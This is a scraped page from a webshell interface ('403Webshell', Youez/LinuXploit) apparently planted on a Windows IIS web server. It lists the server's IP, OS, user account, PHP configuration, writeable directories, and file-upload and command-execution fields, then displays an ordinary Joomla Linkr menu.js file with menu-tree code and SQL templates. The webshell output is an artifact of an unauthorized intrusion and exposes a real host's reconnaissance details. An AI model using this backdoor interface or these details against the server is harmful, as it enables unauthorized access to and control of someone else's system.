403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/icd/components/com_linkr/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/icd/components/com_linkr/assets/js/menu.js
/*
 * Linkr - Menu Items Plugin
 *
 */

/*
 * Object settings
 */
var MIOpts	=
{
	// Plugin title
	title : 'Menus',
	
	// Object name
	objName : 'LinkrMenu',
	
	// Initialize
	initialize : function()
	{
		// Plugin title
		this.options.title	= this._('MENUS');
	}
};

/*
 * Tree elements
 */
var MITree	= [];

/*
 * SQL queries
 */
var MISrch	=
{
	sql : {
		type : 'SELECT id, name, link, type FROM #__menu WHERE published = 1 AND parent = 0 AND menutype = [query] AND access <= [access]',
		menu : 'SELECT id, name, link, type FROM #__menu WHERE published = 1 AND parent = [query] AND access <= [access]'
	}
};

/*
 * Object methods
 */
var MITmpl	=
{
	setupTree : function(r, l)
	{
		// Checks
		if ($type(r) != 'array') return;
		
		// Tree items
		var is	= {};
		ty	= l == 0 ? 'type' : 'menu';
		r.each(function(i)
		{
			// Element title
			var t	= $pick(i.title, $pick(i.name, '??'));
			t		= Linkr.urldecode(Linkr.UTF8.Decode(t));
			
			// Description
			var d	= $pick(i.description, '');
			d		= Linkr.urldecode(Linkr.UTF8.Decode(d));
			
			// Link
			var u	= $pick(i.link, false);
			if (u && i.type != 'url') u += '&Itemid='+ i.id;
			
			// Add item
			is[i.id]	= {
				title : t,
				description : d,
				url : u,
				level : l,
				children : [ty, i.id]
			};
		});
		
		// Return tree items
		return is;
	}
};



Youez - 2016 - github.com/yon3zu
LinuXploit